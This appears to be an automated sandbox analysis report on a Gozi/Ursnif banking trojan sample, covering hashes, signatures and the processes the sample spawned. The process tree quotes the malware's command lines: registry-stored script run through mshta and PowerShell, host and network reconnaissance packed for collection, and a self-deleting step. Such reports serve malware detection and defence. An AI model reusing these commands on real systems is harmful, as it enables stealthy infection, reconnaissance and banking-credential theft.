Overview

overview

10

Static

static

8e7e061cfb...2d.exe

windows7_x64

10

8e7e061cfb...2d.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23-12-2020 01:28

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General

  • Target

    8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe

  • Size

    40KB

  • MD5

    0286232c6300bea38235739d04845f57

  • SHA1

    b6e6d215790c97f2a401391366750d2ff9ededa9

  • SHA256

    8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d

  • SHA512

    0c8869392f7d85f50e630706c9e3c32fa68d1ba012ede1aa38cd1ebe467f65ffd2c49dbbb6231f973fef24640a36624c99147ac70d5310f29bb1ca72e496a63f

Score
10/10
gozi_ifsbursnifbankertrojan

Malware Config

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • ServiceHost packer 2 IoCs

    Detects ServiceHost packer used for .NET malware

  • Suspicious use of SetThreadContext 7 IoCs
  • Discovers systems in the same network 1 TTPs 1 IoCs
    discovery
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2301 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 101 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Users\Admin\AppData\Local\Temp\8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe
      "C:\Users\Admin\AppData\Local\Temp\8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:500
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\BFC92168-124C-49FC-1463-668D8847FA11\\\AppXxSip'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\BFC92168-124C-49FC-1463-668D8847FA11").ActitLog))
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3096
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xgzeapb4\xgzeapb4.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EC8.tmp" "c:\Users\Admin\AppData\Local\Temp\xgzeapb4\CSC4AFEE41CC5432DB8CCE95DCC4CA2C7.TMP"
            5⤵
              PID:1596
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iub3rovo\iub3rovo.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1620
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES90CC.tmp" "c:\Users\Admin\AppData\Local\Temp\iub3rovo\CSC36221F386CC04591A0D3C6B9ABE6A987.TMP"
              5⤵
                PID:3728
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3184
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2192
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\93BA.bi1"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3720
          • C:\Windows\system32\nslookup.exe
            nslookup myip.opendns.com resolver1.opendns.com
            3⤵
              PID:3824
          • C:\Windows\system32\cmd.exe
            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\34FC.bi1"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2200
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:3696
            • C:\Windows\system32\cmd.exe
              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\93BA.bi1"
              2⤵
                PID:3472
              • C:\Windows\system32\cmd.exe
                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\34FC.bi1"
                2⤵
                  PID:2228
                • C:\Windows\system32\cmd.exe
                  cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2080
                  • C:\Windows\system32\systeminfo.exe
                    systeminfo.exe
                    3⤵
                    • Gathers system information
                    PID:1932
                • C:\Program Files\Windows Mail\WinMail.exe
                  "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                  2⤵
                    PID:2260
                  • C:\Windows\syswow64\cmd.exe
                    "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                    2⤵
                      PID:212
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                      2⤵
                        PID:3444
                      • C:\Windows\system32\cmd.exe
                        cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                        2⤵
                          PID:2232
                          • C:\Windows\system32\net.exe
                            net view
                            3⤵
                            • Discovers systems in the same network
                            PID:3280
                        • C:\Windows\system32\cmd.exe
                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                          2⤵
                            PID:1872
                          • C:\Windows\system32\cmd.exe
                            cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                            2⤵
                              PID:2264
                              • C:\Windows\system32\nslookup.exe
                                nslookup 127.0.0.1
                                3⤵
                                  PID:3988
                              • C:\Windows\system32\cmd.exe
                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                2⤵
                                  PID:3460
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                  2⤵
                                    PID:1292
                                    • C:\Windows\system32\tasklist.exe
                                      tasklist.exe /SVC
                                      3⤵
                                      • Enumerates processes with tasklist
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2068
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                    2⤵
                                      PID:3508
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                      2⤵
                                        PID:3048
                                        • C:\Windows\system32\driverquery.exe
                                          driverquery.exe
                                          3⤵
                                            PID:3812
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                          2⤵
                                            PID:2932
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                            2⤵
                                              PID:2712
                                              • C:\Windows\system32\reg.exe
                                                reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                3⤵
                                                  PID:3928
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                                2⤵
                                                  PID:2516
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\6D01.bin1 > C:\Users\Admin\AppData\Local\Temp\6D01.bin & del C:\Users\Admin\AppData\Local\Temp\6D01.bin1"
                                                  2⤵
                                                    PID:3096
                                                  • C:\Windows\system32\makecab.exe
                                                    makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\2623.bin"
                                                    2⤵
                                                      PID:3936
                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                    1⤵
                                                      PID:3488
                                                    • C:\Program Files\Internet Explorer\iexplore.exe
                                                      "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                      1⤵
                                                      • Modifies Internet Explorer settings
                                                      • Suspicious use of FindShellTrayWindow
                                                      • Suspicious use of SetWindowsHookEx
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2516
                                                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2516 CREDAT:82945 /prefetch:2
                                                        2⤵
                                                        • Modifies Internet Explorer settings
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:2388
                                                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2516 CREDAT:82950 /prefetch:2
                                                        2⤵
                                                        • Modifies Internet Explorer settings
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:188

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

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                                                    Downloads

                                                    • memory/212-54-0x0000000000B76CD0-0x0000000000B76CD4-memory.dmp

                                                      Filesize

                                                      4B

                                                      Download

                                                    • memory/3024-27-0x0000000004F20000-0x0000000004FBA000-memory.dmp

                                                      Filesize

                                                      616KB

                                                      Download

                                                    • memory/3024-49-0x0000000004F20000-0x0000000004FBA000-memory.dmp

                                                      Filesize

                                                      616KB

                                                      Download

                                                    • memory/3024-31-0x0000000004F20000-0x0000000004FBA000-memory.dmp

                                                      Filesize

                                                      616KB

                                                      Download

                                                    • memory/3024-28-0x0000000005990000-0x0000000005A2A000-memory.dmp

                                                      Filesize

                                                      616KB

                                                      Download

                                                    • memory/3096-7-0x000001EC77C20000-0x000001EC77C21000-memory.dmp

                                                      Filesize

                                                      4KB

                                                      Download

                                                    • memory/3096-24-0x000001EC77C60000-0x000001EC77C61000-memory.dmp

                                                      Filesize

                                                      4KB

                                                      Download

                                                    • memory/3096-16-0x000001EC77AF0000-0x000001EC77AF1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                      Download

                                                    • memory/3096-8-0x000001EC7ACB0000-0x000001EC7ACB1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                      Download

                                                    • memory/3096-6-0x00007FFAB2EE0000-0x00007FFAB38CC000-memory.dmp

                                                      Filesize

                                                      9.9MB

                                                      Download

                                                    • memory/3184-34-0x0000019370F30000-0x0000019370FCA000-memory.dmp

                                                      Filesize

                                                      616KB

                                                      Download